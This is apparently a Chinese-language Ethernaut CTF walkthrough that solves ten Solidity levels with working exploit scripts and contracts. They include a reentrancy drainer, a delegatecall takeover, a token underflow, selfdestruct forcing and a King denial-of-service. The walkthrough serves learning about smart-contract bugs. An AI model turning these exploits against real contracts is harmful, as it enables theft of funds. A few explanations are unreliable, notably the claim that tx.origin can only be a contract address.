Ethernaut 是由 OpenZeppelin 创建的基于 Web3/Solidity 的战争游戏。
每个级别都是一个需要被“破解”的智能合约。该游戏既可以作为有兴趣学习以太坊的人的工具,也可以作为对关卡中的历史黑客进行分类的一种方式。级别可以是无限的,并且游戏不需要以任何特定顺序进行。
在浏览器控制台与ABI互动:
await contract.info()
"You will find what you need in info1()."
await contract.info1()
"Try info2(), but with "hello" as a parameter."
await contract.info2("hello")
"The property infoNum holds the number of the next info method to call."
await contract.infoNum()
42
await contract.info42()
"theMethodName is the name of the next method."
await contract.theMethodName()
"The method name is method7123949."
await contract.method7123949()
"If you know the password, submit it to authenticate()."
await contract.password()
"ethernaut0"
await contract.authenticate("ethernaut0")
回退函数,在solidity版本0.6之前,fallback()即表示接收交易没有calldata时触发,又表示未匹配到合约中任何其他函数的交易。在0.6之后,为了进行区分两种情况,增加了receive()函数。
receive() 当调用合约时没有calldata,比如send
, transfer
, and call
,receive()
函数将自动调用
fallback() 当发送交易到合约时,如果没有指定其他函数,fallback()
函数将被调用
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
分析
在这道题中,获得这个合约的所有权,把他的余额减到0才能通过。获得合约的所有权的方式有两种:
contribute的钱比owner的多,owner中有1000个eth,而msg.value 每次发送只能小于 0.001 ether,所以通过contribute(0)的方式不现实
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
receive()执行修改owner(),满足两个条件,msg.value>0 发送的eth大于0和contributions[msg.sender] > 0 contributions贡献者账户的金额>0
test
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/fallback.sol";
contract fallbackTest is Test {
Fallback public fb;
function setUp() public {
fb = new Fallback();
}
function testBalanceZero() public {
address sender = address(0xb1BfB47518E59Ad7568F3b6b0a71733A41fC99ad);
vm.startPrank(sender);
vm.deal(sender, 10000000000000000000000000);
console2.log(sender.balance);
fb.contribute{value: 0.0001 ether}();
// uint sendValue = fb.contributions(sender);
address(fb).call{value: 0.0001 ether}("");
assertEq(fb.owner(), 0xb1BfB47518E59Ad7568F3b6b0a71733A41fC99ad);
fb.withdraw();
assertEq(address(fb).balance, 0);
}
}
vm.startPrank 设置msg.sender账户
vm.deal设置账户余额
fb.contribute{value: 0.0001 ether}();满足contributions[msg.sender] > 0
address(fb).call{value: 0.0001 ether}("");满足msg.value>0
执行命令
forge test --match-path test/fallback.t.sol -vvvv
部署
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Script.sol";
import "../src/fallback.sol";
contract CounterScript is Script {
Fallback public fb;
function setUp() public {
address payable sender = payable(
0xAA67D0160a1b12422b5805bFf4C44D3D41c42F0E
);
fb = Fallback(sender);
}
function run() public {
vm.startBroadcast();
console2.log(msg.sender);
fb.contribute{value: 0.0001 ether}();
fb.getContribution();
address(fb).call{value: 0.0001 ether}("");
fb.owner();
fb.withdraw();
address(fb).balance;
vm.stopBroadcast();
}
}
执行命令
forge script ./script/fallback.s.sol:FallbackScript --private-key $PRIVATE_KEY --rpc-url $GOERLI_RPC_URL --broadcast -vvvv
获取合约的owner
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
分析
这个题很简单,solidity0.4.22之前的版本,构造函数是跟合约同名的,这里的构造函数名字本来应该是fallout,但是写成了fal1out,就变成了一个普通的public函数可以直接调用更改
test
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "forge-std/Test.sol";
import "../src/fallout.sol";
contract fallbackTest is Test {
Fallout public fl;
function setUp() public {
fl = new Fallout();
}
function testOwner() public {
address sender = address(0xb1BfB47518E59Ad7568F3b6b0a71733A41fC99ad);
vm.startPrank(sender);
vm.deal(sender, 10000000000000000000000000);
fl.Fal1out{value: 0.0001 ether}();
fl.allocatorBalance(sender);
assertEq(fl.owner(), 0xb1BfB47518E59Ad7568F3b6b0a71733A41fC99ad);
}
}
部署
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.0;
import "forge-std/Script.sol";
import "../src/fallout.sol";
contract FalloutScript is Script {
Fallout public contractIntance;
function setUp() public {
contractIntance = Fallout(
payable(0x8c1b726df77f00196aF075BdA6DAA2473caa04c0)
);
}
function run() public {
vm.startBroadcast();
console2.log(msg.sender);
contractIntance.Fal1out{value: 0.0001 ether}();
vm.stopBroadcast();
}
}
需要连续猜对十次才能过关
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
分析
这道题的关键点在于区块链的数据都是公开透明的,uint256(blockhash(block.number - 1))这个值是可以提前算好的。每次讲提前算好的答案带入flip(bool _guess)就可以保证结果正确
test
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/coinflip.sol";
contract Coinflip is Test {
CoinFlip public contractInstance;
uint256 FACTOR =
57896044618658097711785492504343953926634992332820282019728792003956564819968;
function setUp() public {
contractInstance = new CoinFlip();
}
function testFlipTen() public {
uint256 re = uint256(blockhash(block.number - 1)) / FACTOR;
bool side = re == 1 ? true : false;
console2.log(side);
assertEq(true, contractInstance.flip(side));
}
}
部署
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "../src/coinflip.sol";
contract coinFlipScript is Script {
CoinFlip public contractInstance;
uint256 FACTOR =
57896044618658097711785492504343953926634992332820282019728792003956564819968;
function setUp() public {
contractInstance = CoinFlip(0x9a8fAa45b7c64B1f9DE45DF20be381529258D0fD);
}
function run() public {
vm.startBroadcast();
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
contractInstance.flip(side);
console2.log("Consecutive Wins: ", contractInstance.consecutiveWins());
vm.stopBroadcast();
}
}
执行十次就可以了。因为每次的区块不能相同,所以不能在一个区块里面flip十次
shell脚本 coinflip10.sh
#!/bin/bash
# 设置变量
source .env
N=3
COMMAND="forge script ./script/coinflip.s.sol:coinFlipScript --private-key $PRIVATE_KEY --broadcast -vvvv --rpc-url $GOERLI_RPC_URL"
# 循环执行命令
for ((i=1; i<=N; i++)); do
sleep 60
echo "Running command ${i}..."
$COMMAND
done
获取合约的owner
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Telephone {
address public owner;
constructor() {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
分析
这道题的知识点是tx.origin和msg.sender的区别,msg.sender是直接发起的地址,可以是EOA也可以是合约地址。tx.origin只能是合约地址。那么本道题只需要建立一个中间合约去调用实例合约就可以使得tx.origin和msg.sender不同
test
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/coinflip.sol";
contract Coinflip is Test {
CoinFlip public contractInstance;
function setUp() public {
contractInstance = new CoinFlip();
}
function testFlipTen() public {}
}
部署
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../src/telephonecall.sol";
import "forge-std/Script.sol";
contract tellphoneScript is Script {
TelephoneCAll public instance;
function setUp() public {
instance = new TelephoneCAll();
}
function run() public {
vm.startBroadcast();
instance.callChange(0xb1BfB47518E59Ad7568F3b6b0a71733A41fC99ad);
address ownAddress = instance.getOwner();
vm.stopBroadcast();
}
}
最初有20个token,让自己获得更多的token就可以通过
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
分析
这道题考的是向下溢出的问题,在solidity0.8以后内置了对整数和向下溢出的检查,在此之前可以用openZeppelin的SafeMath库。
balances[msg.sender] -= _value;这个地方是解决的关键,balances[msg.sender]最初值是20,只要减去一个大于20的值就可以向下溢出得到一个很大的整数
balances[_to] += _value; 这里to不是我们的msg.sender,是我们自己另外的地址来获取token
部署合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "forge-std/Script.sol";
import "../src/token.sol";
contract tokenHackScript is Script {
Token public contractInstance;
function setUp() public {
contractInstance = Token(0x00Ea5B6a793c09826F54f0ac4a73248A2901E574);
}
function run() public {
vm.startBroadcast();
console2.log(
"Current balance is :",
contractInstance.balanceOf(msg.sender)
);
contractInstance.transfer(
0x55C76828DF0ef0EB13DEA4503C8FAad51Abd00Ad,
21
);
console2.log(
"New balance is :",
contractInstance.balanceOf(msg.sender)
);
vm.stopBroadcast();
}
}
获取实例的owner
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Delegate {
address public owner;
constructor(address _owner) {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}
分析
delegatecall是一个很危险的调用,它与call的区别是call调用假设B合约,修改的是B合约的storage,而delegatecall修改的是本合约的storage。
Delegate和Delegation的owner存储位置是对应的,用delegatecall去调用Delegate的pwn()修改owner就可以实现修改Delegation的owner
address(delegate).delegatecall(msg.data);的msg.data相当于调用pwn()的calldata
关键是如何调用fallback(),当调用一个匹配不上的函数时就可以触发fallback()
contract.call(abi.encodeWithSignature("pwn()")
部署
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import "../src/delegation.sol";
contract DelegationScript is Script {
Delegation public contractInstance;
function setUp() public {
contractInstance = Delegation(
0x21B9804e7A9f8168771a144722Bf803e07b5E40D
);
}
function run() public {
vm.startBroadcast();
console.log("Current owner is : ", contractInstance.owner());
(bool success, ) = address(contractInstance).call(
abi.encodeWithSignature("pwn()")
);
console.log("Checking delegatecall result : ", success);
console.log("New owner is : ", contractInstance.owner());
vm.stopBroadcast();
}
}
向一个空合约发送eth
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Force {/*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/}
分析
在solidity中, 如果一个合约要接受 ether, fallback 方法必须设置为 payable
.但是, 并没有发什么办法可以阻止攻击者通过自毁的方法向合约发送 ether, 所以, 不要将任何合约逻辑基于 address(this).balance == 0
之上. 能够在没有payable得到eth的三种方式:
self-destruct:智能合约可以通过调用 selfdestruct() 从其他合约接收以太币。存储在调用合约中的所有以太币将被转移到调用 selfdestruct() 时指定的地址,接收方无法阻止这种情况,因为这发生在 EVM 级别。
Coinbase 交易:作为 Coinbase 交易或区块奖励的结果,一个地址可以接收以太币。攻击者可以启动工作量证明挖掘并设置目标地址以接收奖励。
预计算地址:可以在生成合约地址之前预先计算合约地址。如果攻击者在部署之前将资金存入该地址,则可以强制将 Ether 存储在那里。
可以看出最容易的是在一个合约中执行selfdestruct(),然后将合约的eth发送到实例的空合约中。
部署
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract ForceHack {
constructor() public payable { //要在创建的时候接收eth需要在这里写payable
selfdestruct(0x6c038Ff73928585BD29cEaE69C83f7067842E81c);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "forge-std/Script.sol";
import "../src/forceHack.sol";
contract forceScript is Script {
ForceHack public contractInstance;
address instanceOfforce = 0x6c038Ff73928585BD29cEaE69C83f7067842E81c;
function setUp() public payable {}
function run() public {
vm.startBroadcast();
contractInstance = (new ForceHack){value: 0.001 ether}();
instanceOfforce.balance;
vm.stopBroadcast();
}
}
打开金库
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
分析
执行unlock函数,需要获得password 而password存在storage里面。
bool public locked; //slot 0
bytes32 private password; //slot1
请记住, 将一个变量设制成私有, 只能保证不让别的合约访问他. 设制成私有的状态变量和本地变量, 依旧可以被公开访问.
为了确保数据私有, 需要在上链前加密. 在这种情况下, 密钥绝对不要公开, 否则会被任何想知道的人获得. zk-SNARKs 提供了一个可以判断某个人是否有某个秘密参数的方法,但是不必透露这个参数.
部署
查看slot1的存储内容:
cast storage 0x5f9027F730099dC5533e42d1A895BED68A4dFA84 1 --rpc-url $GOERLI_RPC_URL
调用unlock()函数
cast send 0x5f9027F730099dC5533e42d1A895BED68A4dFA84 "unlock(bytes32)" "0x412076657279207374726f6e67207365637265742070617373776f7264203a29" --private-key $PRIVATE_KEY --rpc-url $GOERLI_RPC_URL
如果用web3.js查看slot可以用:
await web3.eth.getStorageAt(contracts_address, slot_number)
出价比现有价格高就能成为国王,但是关卡会立刻出更高的价格来夺回国王,怎么阻止系统成为新的国王
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
分析
当下一个人出价的时候,系统会把下一个人发送的msg.value发送给前一个国王,只要阻止这个发送就可以阻止下一个人当国王,那么我们就可以写一个不接收eth的合约来争夺国王
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./king.sol";
contract KingHack {
King public king;
constructor() payable {
king = King(payable(0x6752C38166f905Cb3FA16d0d28a26a8090581a16));
address(king).call{value: king.prize()}("");
}
}
部署
forge create KingHack --private-key $PRIVATE_KEY --rpc-url $GOERLI_RPC_URL --value 1000000000000000wei
偷走合约的所有资产
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import 'openzeppelin-contracts/contracts/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value:_amount}("");
if(result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
分析
这是智能合约中的一类漏洞,攻击者在智能合约进行敏感状态更改之前递归调用易受攻击的智能合约中的函数,其中存在外部调用。
这意味着,假设有两个合同,A
并且B
. 合约A有一个易受重入影响的函数,即
在地址被攻击者控制的函数中发生外部调用
外部调用后发生了一些状态变化(变量更新、存储、修改)
如果满足这两个条件,则攻击者有可能通过递归调用易受攻击的函数重新进入易受攻击的合约。这将允许他们多次进行上述外部调用,并且永远不会执行敏感的状态更改语句,因为流程永远不会到达该部分。
在withdraw函数里面(bool result,) = msg.sender.call{value:_amount}(""); 通过给别的地址发送eth很容易触发另一个合约的receive()造成递归调用,从而balances[msg.sender] -= _amount;之前 金额被耗尽。
donate(address(this))先向实例捐款,那我们的恶意合约在创建时就需要充值一些eth做准备,然后向实例合约捐款
然后调用withdraw(amount)
在receive()函数里面添加withdraw实现递归调用
部署
恶意合约
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "lib/openzeppelin-contracts/contracts/math/SafeMath.sol";
import "./Reentrance.sol";
contract ReentranceHack {
Reentrance public reentance;
constructor() public payable {
reentance = Reentrance(0x76FAB4Dad6273910836AE4577FC64727174E298f);
}
function donate() public {
reentance.donate{value: 0.001 ether}(address(this));
}
function hack() public {
reentance.withdraw(0.001 ether);
}
function getBalance(address _who) external view returns (uint) {
return address(_who).balance;
}
function fundmeback(address payable _to) external payable {
require(_to.send(address(this).balance), "could not send Ether");
}
receive() external payable {
reentance.withdraw(0.001 ether);
}
}
调用恶意合约:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "lib/openzeppelin-contracts/contracts/math/SafeMath.sol";
import "../src/ReentranceHack.sol";
import "forge-std/Script.sol";
contract ReentranceScript is Script {
ReentranceHack public reentance;
function setUp() public {
reentance = (new ReentranceHack){value: 0.002 ether}();
}
function run() public {
vm.startBroadcast();
reentance.donate();
console2.log(
"intance address balance:",
reentance.getBalance(0x76FAB4Dad6273910836AE4577FC64727174E298f)
);
reentance.hack();
console2.log(
"my contract address balance:",
reentance.getBalance(address(reentance))
);
console2.log(
"intance address balance:",
reentance.getBalance(0x76FAB4Dad6273910836AE4577FC64727174E298f)
);
reentance.fundmeback(0xb1BfB47518E59Ad7568F3b6b0a71733A41fC99ad);
console2.log(
"my contract address balance:",
reentance.getBalance(address(reentance))
);
vm.stopBroadcast();
}
}